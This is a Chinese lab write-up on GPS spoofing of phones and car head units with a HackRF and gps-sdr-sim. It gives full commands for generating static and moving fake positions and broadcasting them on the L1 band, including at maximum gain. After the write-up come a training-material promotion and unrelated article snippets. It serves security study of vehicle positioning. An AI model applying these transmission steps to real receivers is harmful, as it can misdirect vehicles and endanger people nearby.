车联网安全之GPS欺骗

随着车辆GPS技术的广泛应用,其在导航、交通监控等方面的关键性日益凸显,与之相关的安全性问题也备受关注。GPS欺骗便是其中一种重要的威胁手段。

本文旨在使用模拟GPS欺骗设备,模拟不同的GPS攻击以评估其对车辆定位系统的影响。通过这个实验,我们希望深入了解GPS系统的脆弱性,为提升车辆GPS安全性提供实质性的参考,实验结果将有助于揭示潜在的攻击影响,从而促进更加有效的安全措施的研发和应用。

 

Part  01  什么是GPS欺骗?

GPS欺骗是指通过修改GPS信号,故意误导车辆的定位系统,可能对导航、交通管理和整体安全性产生潜在威胁。

GPS欺骗可分为静态GPS欺骗和动态GPS欺骗

静态GPS欺骗是一种通过修改、模拟或屏蔽GPS信号,误导车辆在停车或缓慢行驶状态下的定位系统的攻击。

动态GPS欺骗强调了攻击者不仅仅关注车辆的静态位置,还关注在车辆行驶过程中动态地影响其定位。这种攻击方式可能导致更严重的后果,因为它直接威胁到车辆的实时安全性

Part  02  静态GPS欺骗实验

实验环境

硬件平台:HackRF One、GPS外部时钟、700-2700MHz天线

软件环境:kali运行HackRF环境

GPS终端:使用iphone 6S、小米mix2s等各品牌手机以及某品牌车型车机系统

实验准备

1、gps-sdr-sim项目

这个项目的原理是gps-sdr-sim能根据指定的卫星信息文件、坐标信息、采样频率等参数输出二进制的信号文件,将这个二进制文件导入到USRP或者bladeRF之类的无线电射频设备上就可以实现GPS的伪造。
(1)下载GPS仿真器代码

git clone https://github.com/osqzss/gps-sdr-sim.git

(2)gcc编译:

gcc gpssim.c -lm -O3 -o gps-sdr-sim

2、获取坐标

项目页面上给了三种不同的输入坐标信息的方式:

gps-sdr-sim -e brdc0190.17n -l 29.6562801500,91.1257504400,100 -b 8

-e 指定RINEX格式GPS导航电文文件

-l 指定经纬度和海拔

-b 指定采样精度(hackrf为8,blader为16)

此刻采用的是布达拉宫的经纬坐标。

1702368458_657814ca6ae34cd133776.jpg!small?1702368460414

3、连接hackrf设备

GPS外部时钟如下图所示安装在HackRF板上:

1702368478_657814de0f595f842a642.jpg!small?1702368480710

输入hackrf_debug --si5351c -n 0 -r 可以判断时钟模块是否安装正确,0x01即为安装成功。

1702368493_657814edc9288cc7c7066.jpg!small?1702368495406

查看设备是否被识别,成功识别输入hackrf_info会打印出hackrf的信息:

1702368509_657814fdb5570ddd07746.jpg!small?1702368511749

生成GPS数据

使用-l参数指定之前获取的坐标29.6562801500,91.1257504400,-b参数指定二进制文件格式,执行文件后默认会生成300秒GPS仿真数据。

./gps-sdr-sim -e brdc0190.17n -l 【坐标】 -b 8

等待命令执行结束,文件夹中多了一个gpssim.bin文件,这个文件内容就是模拟生成的GPS数据。

1702368579_65781543861cd1197ce65.jpg!small?1702368581138

发射GPS数据

hackrf_transfer 将生成的基带信号重新生成为GPS信号。
指定GPS数据,-f指定发射频率,指定频率为1575420000 即民用GPS L1波段频率,-s指定采样速率,指定采样速率2.6Msps,-x指定发射功率,开启天线增益,指定TX VGA(IF)为0、10、20不等(为了限制影响范围,最大为47,尽量不要使用),最后开启重复发射数据功能。

hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 47 -R

-f:中心频率,单位 Hz

-s:采样率,单位 Hz(4/8/10/12.5/16/20 MHz,默认 10 MHz)

-a:设置功放(1 表示开启,0 表示关闭)

-R:重复发送模式(默认为关闭)

1702368601_6578155908e63c636598b.jpg!small?1702368602770

实验结果

找了小米mix2s、苹果6s进行GPS欺骗实验。小米mix2s未成功 ,苹果6S欺骗成功。尝试了百度、腾讯、高德等地图,均可实现欺骗,微信可以共享虚假位置信息。

也可通过carplay上传至车机中,汽车上传至手机的位置信息已经欺骗成功了。

Part  03  动态GPS欺骗实验

实验环境

硬件设备:

HackRF

HackRF 连接数据线

外部时钟模块(TCXO 时钟模块)

天线(淘宝套餐中的 700MHz-2700MHz 吸盘天线)

软件应用:

hackrf-tools

[Google Earth Pro](https://www.google.com/earth/versions/#earth-pro)

[gps-sdr-sim](https://github.com/osqzss/gps-sdr-sim)

[SatGen Trajectory Generation]

(https://files.cnblogs.com/files/k1two2/SatGenNMEAFree.zip)

操作流程概述

用 Google Earth Pro 制作运动轨迹坐标 kml 文件

前往 NASA 官网下载 GPS 导航电文

用 gps-sdr-sim 将 GPS 导航电文和运动轨迹坐标 kml 文件生成采样文件

hackrf_transfer 发射 GPS 欺骗信号

运动轨迹坐标文件

Google Earth Pro 查看国内地图会存在火星偏移,即卫星图与显示地名、街道信息不对应,以卫星图为准。

启动 Google Earth Pro ,寻找需要模拟地点,点击添加路径:

1702368845_6578164d7966b2ed67efe.jpg!small?1702368847659

Google Earth Pro演示图1

用鼠标点击图上勾画出路径,这里采用玄武湖作为示例:

1702368888_657816786273fcc0a4b33.jpg!small?1702368891246

模拟轨迹图

绘图完成并保存后,在位置可以找到保存的路径,右键将位置另存为导出kml文件:

1702369012_657816f4d6e17a08c99e3.jpg!small?1702369014758

Google Earth Pro演示图2

kml文件内容展示:

1702369049_6578171918b51e507ce02.jpg!small?1702369050772

kml文件内容

NMEA文件

NMEA 是 GPS 导航设备统一的 RTCM 标准协议,包含坐标、海拔、时间轨迹。将运动轨迹坐标 kml 文件导入 SatGen ,就会自动加载 kml 路径。

1702369124_65781764926289fe054b2.jpg!small?1702369126501

SatGen软件截图

调参拟合

调整参数将速度轨迹向真实情况进行拟合,SatGen 会模拟真实运动情况,如:拐弯减速、起步&结束停留……

output                    数据更新率

max longacc               最大纵向加速度

max jerk              最大加速度

max latacc                最大横向加速度

max speed             最大速度

stationary period      起步停留时间

stationary period end  结束停留时间

scenario distance      总路程长度

total time                总耗时

点击"Generate NMEA file",即可生成标准的 NMEA 轨迹文件。

1702369155_6578178318c6fe6efc7d9.jpg!small?1702369157210

NMEA文件内

绕圈轨迹制作

要制作绕圈跑的 NMEA 轨迹只需要画一圈,将 NMEA 文件内容复制粘贴即可:

$GPGGA,090453.93,2306.36704898,N,11328.49988987,E,1,05,2.87,160.00,M,-21.3213,M,,*7C

$GPGGA,090454.00,2306.36704898,N,11328.49988987,E,1,05,2.87,160.00,M,-21.3213,M,,*71

……

$GPGGA,090453.93,2306.36704898,N,11328.49988987,E,1,05,2.87,160.00,M,-21.3213,M,,*7C

$GPGGA,090454.00,2306.36704898,N,11328.49988987,E,1,05,2.87,160.00,M,-21.3213,M,,*71

……

GPS导航电文

导航电文用于计算卫星当前的位置和信号传输的时间,从而使 GPS 接收机在接收导航电文后能确定自身的位置。

各个接收机厂商普遍采用统一的 RINEX 格式,RINEX 本质上是文本文件,RINEX 文件遵循标准的[命名规则](https://cddis.nasa.gov/Data_and_Derived_Products/GNSS/RINEX_Version_3.html)

获取GPS导航电文

可以在NASA官网上获取 RINEX 格式的GPS导航电文,卫星星历是用于描述太空飞行体位置和速度的表达式——两行式轨道数据系统。

https://cddis.nasa.gov/archive/gps/data/daily/2017/019/17n/

1702369180_6578179c261e80605a1b3.jpg!small?1702369181890

GPS导航电文1

GPS导航电文定义

解压后可以用文本编辑器打开,导航电文文件结果如图所示:

1702369194_657817aa7ce4f90b158e4.jpg!small?1702369196065

生成采样文件

利用 [gps-sdr-sim](https://github.com/osqzss/gps-sdr-sim) 配合 GPS 导航电文和 NMEA 文件生成 HackRF 发射信号需要的采样文件。

git clone https://github.com/osqzss/gps-sdr-sim.git

修改动态模式时间上限

gps-sdr-sim 默认动态模式最大只能生成 300s ;静态模式 86400s (10Hz)。结合实际情况修改"gpssim.h"的"USER_MOTION_SIZE"实现自定义时间上限。

将"USER_MOTION_SIZE"调得比 NMEA 轨迹总耗时长 30s 以上。HackRF 开始发出信号,到手机 GPS 被欺骗需要一定时间(30s左右),所以时间上限多加 30s ,让定位稳定被欺骗,以防在模拟定位与真实定位之间跳变。

最终运行作用时长取决于较短的那个时间。假如轨迹总耗时400s ,"USER_MOTION_SIZE"定义动态模拟时间上限 300s ,最终运行 300s 。

#3000 == 300s

make USER_MOTION_SIZE=3000

编译gps-sdr-sim

gcc gpssim.c -lm -O3 -o gps-sdr-sim

用法:gps-sdr-sim [选项]

选项:

-e用于GPS星历表的RINEX导航文件(必填)

-u用户动作文件(动态模式)

-gNMEA GGA流(动态模式)

-c <位置> ECEF X,Y,Z,以米为单位(静态模式),例如3967283.15,1022538.18,4872414.48

-l <位置> Lat,Lon,Hgt(静态模式),例如30.286502,120.032669,100

-t <日期,时间>场景开始时间YYYY / MM / DD,hh:mm:ss

-T <日期,时间>将TOC和TOE覆盖到方案开始时间

-d <欺骗时间>持续时间[秒](动态模式最大值:300静态模式最大值:86400)

-o <输出> I/Q采样数据文件(默认值:gpssim.bin;使用 - 用于stdout)

-s <频率>采样频率[Hz](默认值:2600000)

-bI/Q数据格式[1/8/16](默认值:16)

-i 禁用航天器场景的电离层延迟

-v 显示有关模拟频道的详细信息

生成采样文件

./gps-sdr-sim -e <导航电文文件> -g <轨迹文件> -b 8 -o <输出二进制文件路径>

"-b 8":降低输出文件大小。hackrf 支持的是8-bit的二进制文件,其他 sdr 查询 [readme](https://github.com/osqzss/gps-sdr-sim)

1702369224_657817c8040cc4835ffb3.jpg!small?1702369225784

发射GPS欺骗信号

连接hackrf设备

GPS外部时钟如下图所示安装在HackRF板上。

1702369241_657817d9ad9528d6de1f6.jpg!small?1702369244745

输入hackrf_debug --si5351c -n 0 -r 可以判断时钟模块是否安装正确,0x01即为安装成功。

1702369256_657817e858675595ad4a6.jpg!small?1702369257951

查看设备是否被识别,成功识别输入hackrf_info会打印出hackrf的信息:

1702369272_657817f809b1efbca94f3.jpg!small?1702369273659

发射信号

hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 20 -R

-t:信号采样文件(gps-sdr-sim 生成的 bin 文件)

-f:频率赫兹;美国官方的GPS L1信号频段1575420000Hz

-s:HackRF 采样速率 2.6Msps

-a:放大器使能,接收/发射射频放大器:1=使能;0=禁用

-x:增益分贝,TX VGA(中频)增益,0-47db;1dB步长

-R:重复发射模式

实验结果

地图中当前的位置信息按照模拟的动态位置信息开始移动。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/679243.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

「不只是框架:Django REST framework的超能力大揭秘」

想要让你的API服务像五星级餐厅一样令人难忘吗&#xff1f;今天阿佑将为你揭晓&#xff01;从基础的RESTful原则到Django REST framework的高级特性&#xff0c;我们一步步带你走进API开发的后厨&#xff0c;展示如何准备食材&#xff08;数据模型&#xff09;、调制酱料&#…

记录一次云服务器无法连接的排查过程

运行环境&#xff1a;阿里云服务器 故障外显原因&#xff1a;登录失败,操作系统禁用了密码登录方式 控制台监控数据显示云盘读写BPS拉满了 因为之前问过线上售后&#xff0c;让安装了atop监控&#xff0c;&#xff0c;所以先打开atop日志&#xff1a; atop -r /var/log/atop…

try…except…else语句

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 在Python中&#xff0c;还有另一种异常处理结构&#xff0c;它是try…except…else语句&#xff0c;也就是在原来try…except语句的基础上再添加一个…

关于博图17安装体验过程—博图17安装失败原因(STEP7 许可证找不到)

目录 一、序言 二、正片 一、序言 该失败原因是在我使用Win11专业版安装博图17时出现的问题&#xff0c;也仅代表我的体验过程&#xff01;以下我将安装过程和解决问题的过程描述一下&#xff0c;希望可以帮助和我一样自己安装博图时能够解决出现的问题。 二、正片 如果阁下…

DRIVEN|15分的CNN+LightGBM怎么做特征分类,适用于转录组

说在前面 今天分享一篇做深度学习模型的文章&#xff0c;这是一篇软硬结合的研究&#xff0c;排除转换实体产品&#xff0c;我们做生信基础研究的可以学习模仿这个算法&#xff0c;适用且不局限于临床资料&#xff0c;转录组数据&#xff0c;GWAS数据。 今天给大家分享的一篇文…

构造+割点,F2. Spanning Tree with One Fixed Degree

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 Problem - 1133F2 - Codeforces 二、解题报告 1、思路分析 考虑以根节点为割点&#xff0c;会有若干个连通块 连通块的数目为根节点至少要连出去的边&#xff0c;不妨记为mi 如果mi > D&#xff0c;那…

分享一个 ASP.NET WebForm 使用 Form Authentication 的例子

前言 前些天一个朋友说他们客户的网站出了点故障&#xff0c;让我帮忙看看&#xff0c;这个网站还是用 ASP.NET WebForm 做的&#xff0c;很久以前的技术了&#xff0c;不过很多客户就是这样&#xff0c;只要网站还能稳定地运行&#xff0c;一般就不会去折腾升级&#xff0c;_…

未来以来!鸿蒙生态爆发式增长,程序员新出路火速Get。

鸿蒙生态取得爆发式增长&#xff01; 鸿蒙生态建设速度突飞猛进&#xff0c;不仅有超4000款应用加速开发&#xff0c;众多头部SDK伙伴也在积极加入&#xff0c;为开发者提供构建鸿蒙原生应用所需的多项能力。近期&#xff0c;友盟移动统计SDK、神策数据SDK、阿里云日志服务SDK…

【TB作品】msp430g2553单片机,秒表,LCD1602,Proteus仿真

功能 秒表 动图&#xff1a; 部分代码 这段代码是用C语言编写的&#xff0c;用于在基于德州仪器MSP430微控制器的平台上实现一个简易的电子秒表功能。 #include <msp430.h> #include "LCD.h"unsigned int second 0; unsigned int millisecond10…

向量化:机器学习中的效率加速器与数据桥梁

在机器学习领域的广袤天地中&#xff0c;向量化技术以其独特的魅力&#xff0c;为数据处理和模型训练注入了强大的动力。本文将深入探讨向量化在机器学习领域中的体现&#xff0c;剖析其如何助力模型实现高效的数据处理和精确的结果预测&#xff0c;并通过丰富的案例和详尽的数…

一文了解JVM(中)

HotSpot 虚拟机对象探秘 对象的创建 Header解释使用 new 关键字调用了构造函数使用 Class 的 newInstance 方法调用了构造函数使用 Constructor 类的newInstance 方法调用了构造函数使用 clone 方法没有调用构造函数使用反序列化没有调用构造函数说到对象的创建,首先让我们看…

路由策略简介

一、路由策略 1、定义: 路由策略(RoutingPolicy)作用于路由&#xff0c;主要实现了路由过滤和路由属性设置等功能&#xff0c;它通过改变路由属性(包括可达性)来改变网络流量所经过的路经。 2、目的 设备在发布、接收和引入路由信息时&#xff0c;根据实际组网需要实施一些策…

【深度学习代码缝合教程】二:适用于新手小白的超详细模块+模块=新模块的代码缝合

参考B站教学视频&#xff1a; 深度学习网络缝合模块&#xff0c;模块缝模块 如何对主干网络模块进行代码缝合&#xff1a; 【深度学习代码缝合教程】一&#xff1a;适用于新手小白的超详细深度学习主干网络模块代码缝合 上一篇写了如何把模块放进自己的主干网络进行模块的融合…

SEO代理是什么?代理IP在SEO优化中的应用

在搜索引擎优化 (SEO) 领域&#xff0c;拥有一个好的代理对于取得成功至关重要。代理充当您的设备和互联网之间的中介&#xff0c;允许您隐藏您的 IP 地址并使用不同的 IP 访问网络。在这篇博文中&#xff0c;我们将探讨为什么好的代理对 SEO 至关重要&#xff0c;以及它如何有…

【UnityShader入门精要学习笔记】第十七章 表面着色器

本系列为作者学习UnityShader入门精要而作的笔记&#xff0c;内容将包括&#xff1a; 书本中句子照抄 个人批注项目源码一堆新手会犯的错误潜在的太监断更&#xff0c;有始无终 我的GitHub仓库 总之适用于同样开始学习Shader的同学们进行有取舍的参考。 文章目录 表面着色器…

重学java 63.IO流 字节流 ④ 文件复制

身处泥泞&#xff0c;看满山花开 —— 24.6.4 图片复制 分析 1.创建两个对象 FilelnputStream —>读取指定的文件 FileOutputStream —> 将读到的字节写到指定的位置 2.边读边写 import java.io.FileInputStream; import java.io.FileOutputStream;public class Demo…

vue+vscode 快速搭建运行调试环境与发布

1.安装node.js Node.js — Run JavaScript Everywhere 默认不断next 2.更换镜像地址 运行-cmd 执行以下代码安装 npm config set registry https://registry.npmmirror.com 检查node.js和镜像是否是否成功 node -v npm -v npm config get registry 3.安装打包工具 …

视频汇聚共享平台LntonCVS视频智能分析守护厨房食品安全应用方案

近年来&#xff0c;食品安全问题在我国频繁发生&#xff0c;对整个社会造成了严重的负面影响。尤其是校园食品安全关系到学生的健康、家庭的未来以及社会的稳定。学校持续加强食堂科学管理&#xff0c;并督促食堂经营管理方履行好食品安全主体责任&#xff0c;以提升食品安全水…

Lumière:开创性的视频生成模型及其应用

视频内容创造领域迎来了突破性进展&#xff0c;但视频生成模型由于运动引入的复杂性而面临更多挑战。这些挑战主要源自运动的引入所带来的复杂性。时间连贯性是视频生成中的关键要素&#xff0c;模型必须确保视频中的运动在时间上是连贯和平滑的&#xff0c;避免出现不自然的跳…